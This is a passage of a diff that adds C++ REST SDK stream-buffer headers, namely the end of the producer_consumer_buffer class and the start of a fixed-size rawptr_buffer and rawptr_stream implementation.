|
||||||
|
/// Determine if the request can be satisfied.
|
||||||
|
/// </summary>
|
||||||
|
bool can_satisfy(size_t count) { return (m_synced > 0) || (this->in_avail() >= count) || !this->can_write(); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Reads a byte from the stream and returns it as int_type.
|
||||||
|
/// Note: This routine shall only be called if can_satisfy() returned true.
|
||||||
|
/// </summary>
|
||||||
|
/// <remarks>This should be called with the lock held</remarks>
|
||||||
|
int_type read_byte(bool advance = true)
|
||||||
|
{
|
||||||
|
_CharType value;
|
||||||
|
auto read_size = this->read(&value, 1, advance);
|
||||||
|
return read_size == 1 ? static_cast<int_type>(value) : traits::eof();
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Reads up to count characters into ptr and returns the count of characters copied.
|
||||||
|
/// The return value (actual characters copied) could be <= count.
|
||||||
|
/// Note: This routine shall only be called if can_satisfy() returned true.
|
||||||
|
/// </summary>
|
||||||
|
/// <remarks>This should be called with the lock held</remarks>
|
||||||
|
size_t read(_Out_writes_(count) _CharType* ptr, _In_ size_t count, bool advance = true)
|
||||||
|
{
|
||||||
|
_ASSERTE(can_satisfy(count));
|
||||||
|
|
||||||
|
size_t read = 0;
|
||||||
|
|
||||||
|
for (auto iter = begin(m_blocks); iter != std::end(m_blocks); ++iter)
|
||||||
|
{
|
||||||
|
auto block = *iter;
|
||||||
|
auto read_from_block = block->read(ptr + read, count - read, advance);
|
||||||
|
|
||||||
|
read += read_from_block;
|
||||||
|
|
||||||
|
_ASSERTE(count >= read);
|
||||||
|
if (read == count) break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (advance)
|
||||||
|
{
|
||||||
|
update_read_head(read);
|
||||||
|
}
|
||||||
|
|
||||||
|
return read;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Updates the read head by the specified offset
|
||||||
|
/// </summary>
|
||||||
|
/// <remarks>This should be called with the lock held</remarks>
|
||||||
|
void update_read_head(size_t count)
|
||||||
|
{
|
||||||
|
m_total -= count;
|
||||||
|
m_total_read += count;
|
||||||
|
|
||||||
|
if (m_synced > 0) m_synced = (m_synced > count) ? (m_synced - count) : 0;
|
||||||
|
|
||||||
|
// The block at the front is always the read head.
|
||||||
|
// Purge empty blocks so that the block at the front reflects the read head
|
||||||
|
while (!m_blocks.empty())
|
||||||
|
{
|
||||||
|
// If front block is not empty - we are done
|
||||||
|
if (m_blocks.front()->rd_chars_left() > 0) break;
|
||||||
|
|
||||||
|
// The block has no more data to be read. Relase the block
|
||||||
|
m_blocks.pop_front();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// The in/out mode for the buffer
|
||||||
|
std::ios_base::openmode m_mode;
|
||||||
|
|
||||||
|
// Default block size
|
||||||
|
msl::safeint3::SafeInt<size_t> m_alloc_size;
|
||||||
|
|
||||||
|
// Block used for alloc/commit
|
||||||
|
std::shared_ptr<_block> m_allocBlock;
|
||||||
|
|
||||||
|
// Total available data
|
||||||
|
size_t m_total;
|
||||||
|
|
||||||
|
size_t m_total_read;
|
||||||
|
size_t m_total_written;
|
||||||
|
|
||||||
|
// Keeps track of the number of chars that have been flushed but still
|
||||||
|
// remain to be consumed by a read operation.
|
||||||
|
size_t m_synced;
|
||||||
|
|
||||||
|
// The producer-consumer buffer is intended to be used concurrently by a reader
|
||||||
|
// and a writer, who are not coordinating their accesses to the buffer (coordination
|
||||||
|
// being what the buffer is for in the first place). Thus, we have to protect
|
||||||
|
// against some of the internal data elements against concurrent accesses
|
||||||
|
// and the possibility of inconsistent states. A simple non-recursive lock
|
||||||
|
// should be sufficient for those purposes.
|
||||||
|
pplx::extensibility::critical_section_t m_lock;
|
||||||
|
|
||||||
|
// Memory blocks
|
||||||
|
std::deque<std::shared_ptr<_block>> m_blocks;
|
||||||
|
|
||||||
|
// Queue of requests
|
||||||
|
std::queue<_request> m_requests;
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace details
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The producer_consumer_buffer class serves as a memory-based steam buffer that supports both writing and reading
|
||||||
|
/// sequences of bytes. It can be used as a consumer/producer buffer.
|
||||||
|
/// </summary>
|
||||||
|
/// <typeparam name="_CharType">
|
||||||
|
/// The data type of the basic element of the <c>producer_consumer_buffer</c>.
|
||||||
|
/// </typeparam>
|
||||||
|
/// <remarks>
|
||||||
|
/// This is a reference-counted version of basic_producer_consumer_buffer.</remarks>
|
||||||
|
template<typename _CharType>
|
||||||
|
class producer_consumer_buffer : public streambuf<_CharType>
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
typedef _CharType char_type;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Create a producer_consumer_buffer.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="alloc_size">The internal default block size.</param>
|
||||||
|
producer_consumer_buffer(size_t alloc_size = 512)
|
||||||
|
: streambuf<_CharType>(std::make_shared<details::basic_producer_consumer_buffer<_CharType>>(alloc_size))
|
||||||
|
{
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace streams
|
||||||
|
} // namespace Concurrency
|
||||||
|
|
||||||
|
#endif
|
|
@ -0,0 +1,598 @@
|
||||||
|
/***
|
||||||
|
* Copyright (C) Microsoft. All rights reserved.
|
||||||
|
* Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
|
||||||
|
*
|
||||||
|
* =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
|
||||||
|
*
|
||||||
|
* This file defines a stream buffer that is based on a raw pointer and block size. Unlike a vector-based
|
||||||
|
* stream buffer, the buffer cannot be expanded or contracted, it has a fixed capacity.
|
||||||
|
*
|
||||||
|
* For the latest on this and related APIs, please see: https://github.com/Microsoft/cpprestsdk
|
||||||
|
*
|
||||||
|
* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||||
|
****/
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#ifndef CASA_RAWPTR_STREAMS_H
|
||||||
|
#define CASA_RAWPTR_STREAMS_H
|
||||||
|
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/astreambuf.h"
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/streams.h"
|
||||||
|
#include "Common/CppRestSdk/include/pplx/pplxtasks.h"
|
||||||
|
#include <algorithm>
|
||||||
|
#include <iterator>
|
||||||
|
#include <queue>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
namespace Concurrency
|
||||||
|
{
|
||||||
|
namespace streams
|
||||||
|
{
|
||||||
|
// Forward declarations
|
||||||
|
template<typename _CharType>
|
||||||
|
class rawptr_buffer;
|
||||||
|
|
||||||
|
namespace details
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// The basic_rawptr_buffer class serves as a memory-based steam buffer that supports both writing and reading
|
||||||
|
/// sequences of characters to and from a fixed-size block.
|
||||||
|
/// </summary>
|
||||||
|
template<typename _CharType>
|
||||||
|
class basic_rawptr_buffer : public streams::details::streambuf_state_manager<_CharType>
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
typedef _CharType char_type;
|
||||||
|
|
||||||
|
typedef typename basic_streambuf<_CharType>::traits traits;
|
||||||
|
typedef typename basic_streambuf<_CharType>::int_type int_type;
|
||||||
|
typedef typename basic_streambuf<_CharType>::pos_type pos_type;
|
||||||
|
typedef typename basic_streambuf<_CharType>::off_type off_type;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Constructor
|
||||||
|
/// </summary>
|
||||||
|
basic_rawptr_buffer()
|
||||||
|
: streambuf_state_manager<_CharType>(std::ios_base::in | std::ios_base::out)
|
||||||
|
, m_data(nullptr)
|
||||||
|
, m_current_position(0)
|
||||||
|
, m_size(0)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Destructor
|
||||||
|
/// </summary>
|
||||||
|
virtual ~basic_rawptr_buffer()
|
||||||
|
{
|
||||||
|
this->_close_read();
|
||||||
|
this->_close_write();
|
||||||
|
}
|
||||||
|
|
||||||
|
protected:
|
||||||
|
/// <summary>
|
||||||
|
/// can_seek is used to determine whether a stream buffer supports seeking.
|
||||||
|
/// </summary>
|
||||||
|
virtual bool can_seek() const { return this->is_open(); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// <c>has_size<c/> is used to determine whether a stream buffer supports size().
|
||||||
|
/// </summary>
|
||||||
|
virtual bool has_size() const { return this->is_open(); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the size of the stream, if known. Calls to <c>has_size</c> will determine whether
|
||||||
|
/// the result of <c>size</c> can be relied on.
|
||||||
|
/// </summary>
|
||||||
|
virtual utility::size64_t size() const { return utility::size64_t(m_size); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get the stream buffer size, if one has been set.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="direction">The direction of buffering (in or out)</param>
|
||||||
|
/// <remarks>An implementation that does not support buffering will always return '0'.</remarks>
|
||||||
|
virtual size_t buffer_size(std::ios_base::openmode = std::ios_base::in) const { return 0; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Set the stream buffer implementation to buffer or not buffer.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="size">The size to use for internal buffering, 0 if no buffering should be done.</param>
|
||||||
|
/// <param name="direction">The direction of buffering (in or out)</param>
|
||||||
|
/// <remarks>An implementation that does not support buffering will silently ignore calls to this function and it
|
||||||
|
/// will not have
|
||||||
|
/// any effect on what is returned by subsequent calls to buffer_size().</remarks>
|
||||||
|
virtual void set_buffer_size(size_t, std::ios_base::openmode = std::ios_base::in) { return; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// For any input stream, in_avail returns the number of characters that are immediately available
|
||||||
|
/// to be consumed without blocking. May be used in conjunction with <cref="::sbumpc method"/> and sgetn() to
|
||||||
|
/// read data without incurring the overhead of using tasks.
|
||||||
|
/// </summary>
|
||||||
|
virtual size_t in_avail() const
|
||||||
|
{
|
||||||
|
// See the comment in seek around the restiction that we do not allow read head to
|
||||||
|
// seek beyond the current size.
|
||||||
|
_ASSERTE(m_current_position <= m_size);
|
||||||
|
|
||||||
|
msl::safeint3::SafeInt<size_t> readhead(m_current_position);
|
||||||
|
msl::safeint3::SafeInt<size_t> writeend(m_size);
|
||||||
|
return (size_t)(writeend - readhead);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Closes the stream buffer, preventing further read or write operations.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="mode">The I/O mode (in or out) to close for.</param>
|
||||||
|
virtual pplx::task<void> close(std::ios_base::openmode mode)
|
||||||
|
{
|
||||||
|
if (mode & std::ios_base::in)
|
||||||
|
{
|
||||||
|
this->_close_read().get(); // Safe to call get() here.
|
||||||
|
}
|
||||||
|
|
||||||
|
if (mode & std::ios_base::out)
|
||||||
|
{
|
||||||
|
this->_close_write().get(); // Safe to call get() here.
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!this->can_read() && !this->can_write())
|
||||||
|
{
|
||||||
|
m_data = nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Exceptions will be propagated out of _close_read or _close_write
|
||||||
|
return pplx::task_from_result();
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual pplx::task<bool> _sync() { return pplx::task_from_result(true); }
|
||||||
|
|
||||||
|
virtual pplx::task<int_type> _putc(_CharType ch)
|
||||||
|
{
|
||||||
|
if (m_current_position >= m_size) return pplx::task_from_result<int_type>(traits::eof());
|
||||||
|
int_type retVal = (this->write(&ch, 1) == 1) ? static_cast<int_type>(ch) : traits::eof();
|
||||||
|
return pplx::task_from_result<int_type>(retVal);
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual pplx::task<size_t> _putn(const _CharType* ptr, size_t count)
|
||||||
|
{
|
||||||
|
msl::safeint3::SafeInt<size_t> newSize = msl::safeint3::SafeInt<size_t>(count) + m_current_position;
|
||||||
|
if (newSize > m_size)
|
||||||
|
return pplx::task_from_exception<size_t>(
|
||||||
|
std::make_exception_ptr(std::runtime_error("Writing past the end of the buffer")));
|
||||||
|
return pplx::task_from_result<size_t>(this->write(ptr, count));
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Allocates a contiguous memory block and returns it.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="count">The number of characters to allocate.</param>
|
||||||
|
/// <returns>A pointer to a block to write to, null if the stream buffer implementation does not support
|
||||||
|
/// alloc/commit.</returns>
|
||||||
|
_CharType* _alloc(size_t count)
|
||||||
|
{
|
||||||
|
if (!this->can_write()) return nullptr;
|
||||||
|
|
||||||
|
msl::safeint3::SafeInt<size_t> readhead(m_current_position);
|
||||||
|
msl::safeint3::SafeInt<size_t> writeend(m_size);
|
||||||
|
size_t space_left = (size_t)(writeend - readhead);
|
||||||
|
|
||||||
|
if (space_left < count) return nullptr;
|
||||||
|
|
||||||
|
// Let the caller copy the data
|
||||||
|
return (_CharType*)(m_data + m_current_position);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Submits a block already allocated by the stream buffer.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="count">The number of characters to be committed.</param>
|
||||||
|
void _commit(size_t actual)
|
||||||
|
{
|
||||||
|
// Update the write position and satisfy any pending reads
|
||||||
|
update_current_position(m_current_position + actual);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets a pointer to the next already allocated contiguous block of data.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="ptr">A reference to a pointer variable that will hold the address of the block on success.</param>
|
||||||
|
/// <param name="count">The number of contiguous characters available at the address in 'ptr'.</param>
|
||||||
|
/// <returns><c>true</c> if the operation succeeded, <c>false</c> otherwise.</returns>
|
||||||
|
/// <remarks>
|
||||||
|
/// A return of false does not necessarily indicate that a subsequent read operation would fail, only that
|
||||||
|
/// there is no block to return immediately or that the stream buffer does not support the operation.
|
||||||
|
/// The stream buffer may not de-allocate the block until <see cref="::release method" /> is called.
|
||||||
|
/// If the end of the stream is reached, the function will return <c>true</c>, a null pointer, and a count of zero;
|
||||||
|
/// a subsequent read will not succeed.
|
||||||
|
/// </remarks>
|
||||||
|
virtual bool acquire(_Out_ _CharType*& ptr, _Out_ size_t& count)
|
||||||
|
{
|
||||||
|
count = 0;
|
||||||
|
ptr = nullptr;
|
||||||
|
|
||||||
|
if (!this->can_read()) return false;
|
||||||
|
|
||||||
|
count = in_avail();
|
||||||
|
|
||||||
|
if (count > 0)
|
||||||
|
{
|
||||||
|
ptr = (_CharType*)(m_data + m_current_position);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
ptr = nullptr;
|
||||||
|
|
||||||
|
// Can only be open for read OR write, not both. If there is no data then
|
||||||
|
// we have reached the end of the stream so indicate such with true.
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Releases a block of data acquired using <see cref="::acquire method"/>. This frees the stream buffer to
|
||||||
|
/// de-allocate the memory, if it so desires. Move the read position ahead by the count.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="ptr">A pointer to the block of data to be released.</param>
|
||||||
|
/// <param name="count">The number of characters that were read.</param>
|
||||||
|
virtual void release(_Out_writes_opt_(count) _CharType* ptr, _In_ size_t count)
|
||||||
|
{
|
||||||
|
if (ptr != nullptr) update_current_position(m_current_position + count);
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual pplx::task<size_t> _getn(_Out_writes_(count) _CharType* ptr, _In_ size_t count)
|
||||||
|
{
|
||||||
|
return pplx::task_from_result(this->read(ptr, count));
|
||||||
|
}
|
||||||
|
|
||||||
|
size_t _sgetn(_Out_writes_(count) _CharType* ptr, _In_ size_t count) { return this->read(ptr, count); }
|
||||||
|
|
||||||
|
virtual size_t _scopy(_Out_writes_(count) _CharType* ptr, _In_ size_t count)
|
||||||
|
{
|
||||||
|
return this->read(ptr, count, false);
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual pplx::task<int_type> _bumpc() { return pplx::task_from_result(this->read_byte(true)); }
|
||||||
|
|
||||||
|
virtual int_type _sbumpc() { return this->read_byte(true); }
|
||||||
|
|
||||||
|
virtual pplx::task<int_type> _getc() { return pplx::task_from_result(this->read_byte(false)); }
|
||||||
|
|
||||||
|
int_type _sgetc() { return this->read_byte(false); }
|
||||||
|
|
||||||
|
virtual pplx::task<int_type> _nextc()
|
||||||
|
{
|
||||||
|
if (m_current_position >= m_size - 1) return pplx::task_from_result(basic_streambuf<_CharType>::traits::eof());
|
||||||
|
|
||||||
|
this->read_byte(true);
|
||||||
|
return pplx::task_from_result(this->read_byte(false));
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual pplx::task<int_type> _ungetc()
|
||||||
|
{
|
||||||
|
auto pos = seekoff(-1, std::ios_base::cur, std::ios_base::in);
|
||||||
|
if (pos == (pos_type)traits::eof()) return pplx::task_from_result(traits::eof());
|
||||||
|
return this->getc();
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the current read or write position in the stream.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="direction">The I/O direction to seek (see remarks)</param>
|
||||||
|
/// <returns>The current position. EOF if the operation fails.</returns>
|
||||||
|
/// <remarks>Some streams may have separate write and read cursors.
|
||||||
|
/// For such streams, the direction parameter defines whether to move the read or the write
|
||||||
|
/// cursor.</remarks>
|
||||||
|
virtual pos_type getpos(std::ios_base::openmode mode) const
|
||||||
|
{
|
||||||
|
if (((mode & std::ios_base::in) && !this->can_read()) || ((mode & std::ios_base::out) && !this->can_write()))
|
||||||
|
return static_cast<pos_type>(traits::eof());
|
||||||
|
|
||||||
|
if (mode == std::ios_base::in)
|
||||||
|
return (pos_type)m_current_position;
|
||||||
|
else if (mode == std::ios_base::out)
|
||||||
|
return (pos_type)m_current_position;
|
||||||
|
else
|
||||||
|
return (pos_type)traits::eof();
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Seeks to the given position.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="pos">The offset from the beginning of the stream.</param>
|
||||||
|
/// <param name="direction">The I/O direction to seek (see remarks).</param>
|
||||||
|
/// <returns>The position. EOF if the operation fails.</returns>
|
||||||
|
/// <remarks>Some streams may have separate write and read cursors. For such streams, the direction parameter
|
||||||
|
/// defines whether to move the read or the write cursor.</remarks>
|
||||||
|
virtual pos_type seekpos(pos_type position, std::ios_base::openmode mode)
|
||||||
|
{
|
||||||
|
pos_type beg(0);
|
||||||
|
pos_type end(m_size);
|
||||||
|
|
||||||
|
if (position >= beg)
|
||||||
|
{
|
||||||
|
auto pos = static_cast<size_t>(position);
|
||||||
|
|
||||||
|
// Read head
|
||||||
|
if ((mode & std::ios_base::in) && this->can_read())
|
||||||
|
{
|
||||||
|
if (position <= end)
|
||||||
|
{
|
||||||
|
// We do not allow reads to seek beyond the end or before the start position.
|
||||||
|
update_current_position(pos);
|
||||||
|
return static_cast<pos_type>(m_current_position);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Write head
|
||||||
|
if ((mode & std::ios_base::out) && this->can_write())
|
||||||
|
{
|
||||||
|
// Update write head and satisfy read requests if any
|
||||||
|
update_current_position(pos);
|
||||||
|
|
||||||
|
return static_cast<pos_type>(m_current_position);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return static_cast<pos_type>(traits::eof());
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Seeks to a position given by a relative offset.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="offset">The relative position to seek to</param>
|
||||||
|
/// <param name="way">The starting point (beginning, end, current) for the seek.</param>
|
||||||
|
/// <param name="mode">The I/O direction to seek (see remarks)</param>
|
||||||
|
/// <returns>The position. EOF if the operation fails.</returns>
|
||||||
|
/// <remarks>Some streams may have separate write and read cursors.
|
||||||
|
/// For such streams, the mode parameter defines whether to move the read or the write cursor.</remarks>
|
||||||
|
virtual pos_type seekoff(off_type offset, std::ios_base::seekdir way, std::ios_base::openmode mode)
|
||||||
|
{
|
||||||
|
pos_type beg = 0;
|
||||||
|
pos_type cur = static_cast<pos_type>(m_current_position);
|
||||||
|
pos_type end = static_cast<pos_type>(m_size);
|
||||||
|
|
||||||
|
switch (way)
|
||||||
|
{
|
||||||
|
case std::ios_base::beg: return seekpos(beg + offset, mode);
|
||||||
|
|
||||||
|
case std::ios_base::cur: return seekpos(cur + offset, mode);
|
||||||
|
|
||||||
|
case std::ios_base::end: return seekpos(end + offset, mode);
|
||||||
|
|
||||||
|
default: return static_cast<pos_type>(traits::eof());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
template<typename _CharType1>
|
||||||
|
friend class ::concurrency::streams::rawptr_buffer;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Constructor
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="data">The address (pointer to) the memory block.</param>
|
||||||
|
/// <param name="size">The memory block size, measured in number of characters.</param>
|
||||||
|
basic_rawptr_buffer(const _CharType* data, size_t size)
|
||||||
|
: streambuf_state_manager<_CharType>(std::ios_base::in)
|
||||||
|
, m_data(const_cast<_CharType*>(data))
|
||||||
|
, m_size(size)
|
||||||
|
, m_current_position(0)
|
||||||
|
{
|
||||||
|
validate_mode(std::ios_base::in);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Constructor
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="data">The address (pointer to) the memory block.</param>
|
||||||
|
/// <param name="size">The memory block size, measured in number of characters.</param>
|
||||||
|
/// <param name="mode">The stream mode (in, out, etc.).</param>
|
||||||
|
basic_rawptr_buffer(_CharType* data, size_t size, std::ios_base::openmode mode)
|
||||||
|
: streambuf_state_manager<_CharType>(mode), m_data(data), m_size(size), m_current_position(0)
|
||||||
|
{
|
||||||
|
validate_mode(mode);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void validate_mode(std::ios_base::openmode mode)
|
||||||
|
{
|
||||||
|
// Disallow simultaneous use of the stream buffer for writing and reading.
|
||||||
|
if ((mode & std::ios_base::in) && (mode & std::ios_base::out))
|
||||||
|
throw std::invalid_argument("this combination of modes on raw pointer stream not supported");
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Determines if the request can be satisfied.
|
||||||
|
/// </summary>
|
||||||
|
bool can_satisfy(size_t) const
|
||||||
|
{
|
||||||
|
// We can always satisfy a read, at least partially, unless the
|
||||||
|
// read position is at the very end of the buffer.
|
||||||
|
return (in_avail() > 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Reads a byte from the stream and returns it as int_type.
|
||||||
|
/// Note: This routine must only be called if can_satisfy() returns true.
|
||||||
|
/// </summary>
|
||||||
|
int_type read_byte(bool advance = true)
|
||||||
|
{
|
||||||
|
_CharType value;
|
||||||
|
auto read_size = this->read(&value, 1, advance);
|
||||||
|
return read_size == 1 ? static_cast<int_type>(value) : traits::eof();
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Reads up to count characters into ptr and returns the count of characters copied.
|
||||||
|
/// The return value (actual characters copied) could be <= count.
|
||||||
|
/// Note: This routine must only be called if can_satisfy() returns true.
|
||||||
|
/// </summary>
|
||||||
|
size_t read(_Out_writes_(count) _CharType* ptr, _In_ size_t count, bool advance = true)
|
||||||
|
{
|
||||||
|
if (!can_satisfy(count)) return 0;
|
||||||
|
|
||||||
|
msl::safeint3::SafeInt<size_t> request_size(count);
|
||||||
|
msl::safeint3::SafeInt<size_t> read_size = request_size.Min(in_avail());
|
||||||
|
|
||||||
|
size_t newPos = m_current_position + read_size;
|
||||||
|
|
||||||
|
auto readBegin = m_data + m_current_position;
|
||||||
|
auto readEnd = m_data + newPos;
|
||||||
|
|
||||||
|
#if defined(_ITERATOR_DEBUG_LEVEL) && _ITERATOR_DEBUG_LEVEL != 0
|
||||||
|
// Avoid warning C4996: Use checked iterators under SECURE_SCL
|
||||||
|
std::copy(readBegin, readEnd, stdext::checked_array_iterator<_CharType*>(ptr, count));
|
||||||
|
#else
|
||||||
|
std::copy(readBegin, readEnd, ptr);
|
||||||
|
#endif // _WIN32
|
||||||
|
|
||||||
|
if (advance)
|
||||||
|
{
|
||||||
|
update_current_position(newPos);
|
||||||
|
}
|
||||||
|
|
||||||
|
return (size_t)read_size;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Write count characters from the ptr into the stream buffer
|
||||||
|
/// </summary>
|
||||||
|
size_t write(const _CharType* ptr, size_t count)
|
||||||
|
{
|
||||||
|
if (!this->can_write() || (count == 0)) return 0;
|
||||||
|
|
||||||
|
msl::safeint3::SafeInt<size_t> newSize = msl::safeint3::SafeInt<size_t>(count) + m_current_position;
|
||||||
|
|
||||||
|
if (newSize > m_size) throw std::runtime_error("Writing past the end of the buffer");
|
||||||
|
|
||||||
|
// Copy the data
|
||||||
|
#if defined(_ITERATOR_DEBUG_LEVEL) && _ITERATOR_DEBUG_LEVEL != 0
|
||||||
|
// Avoid warning C4996: Use checked iterators under SECURE_SCL
|
||||||
|
std::copy(ptr, ptr + count, stdext::checked_array_iterator<_CharType*>(m_data, m_size, m_current_position));
|
||||||
|
#else
|
||||||
|
std::copy(ptr, ptr + count, m_data + m_current_position);
|
||||||
|
#endif // _WIN32
|
||||||
|
|
||||||
|
// Update write head and satisfy pending reads if any
|
||||||
|
update_current_position(newSize);
|
||||||
|
|
||||||
|
return count;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Updates the current read or write position
|
||||||
|
/// </summary>
|
||||||
|
void update_current_position(size_t newPos)
|
||||||
|
{
|
||||||
|
// The new write head
|
||||||
|
m_current_position = newPos;
|
||||||
|
|
||||||
|
_ASSERTE(m_current_position <= m_size);
|
||||||
|
}
|
||||||
|
|
||||||
|
// The actual memory block
|
||||||
|
_CharType* m_data;
|
||||||
|
|
||||||
|
// The size of the memory block
|
||||||
|
size_t m_size;
|
||||||
|
|
||||||
|
// Read/write head
|
||||||
|
size_t m_current_position;
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace details
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The <c>rawptr_buffer</c> class serves as a memory-based stream buffer that supports reading
|
||||||
|
/// sequences of characters to or from a fixed-size block. Note that it cannot be used simultaneously for reading as
|
||||||
|
/// well as writing.
|
||||||
|
/// </summary>
|
||||||
|
/// <typeparam name="_CharType">
|
||||||
|
/// The data type of the basic element of the <c>rawptr_buffer</c>.
|
||||||
|
/// </typeparam>
|
||||||
|
template<typename _CharType>
|
||||||
|
class rawptr_buffer : public streambuf<_CharType>
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
typedef _CharType char_type;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Create a rawptr_buffer given a pointer to a memory block and the size of the block.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="data">The address (pointer to) the memory block.</param>
|
||||||
|
/// <param name="size">The memory block size, measured in number of characters.</param>
|
||||||
|
rawptr_buffer(const char_type* data, size_t size)
|
||||||
|
: streambuf<char_type>(std::shared_ptr<details::basic_rawptr_buffer<char_type>>(
|
||||||
|
new details::basic_rawptr_buffer<char_type>(data, size)))
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Create a rawptr_buffer given a pointer to a memory block and the size of the block.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="data">The address (pointer to) the memory block.</param>
|
||||||
|
/// <param name="size">The memory block size, measured in number of characters.</param>
|
||||||
|
rawptr_buffer(char_type* data, size_t size, std::ios_base::openmode mode = std::ios::out)
|
||||||
|
: streambuf<char_type>(std::shared_ptr<details::basic_rawptr_buffer<char_type>>(
|
||||||
|
new details::basic_rawptr_buffer<char_type>(data, size, mode)))
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Default constructor.
|
||||||
|
/// </summary>
|
||||||
|
rawptr_buffer() {}
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The rawptr_stream class is used to create memory-backed streams that support writing or reading
|
||||||
|
/// sequences of characters to / from a fixed-size block.
|
||||||
|
/// </summary>
|
||||||
|
/// <typeparam name="_CharType">
|
||||||
|
/// The data type of the basic element of the <c>rawptr_stream</c>.
|
||||||
|
/// </typeparam>
|
||||||
|
template<typename _CharType>
|
||||||
|
class rawptr_stream
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
typedef _CharType char_type;
|
||||||
|
typedef rawptr_buffer<_CharType> buffer_type;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Create a rawptr-stream given a pointer to a read-only memory block and the size of the block.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="data">The address (pointer to) the memory block.</param>
|
||||||
|
/// <param name="size">The memory block size, measured in number of characters.</param>
|
||||||
|
/// <returns>An opened input stream.</returns>
|
||||||
|
static concurrency::streams::basic_istream<char_type> open_istream(const char_type* data, size_t size)
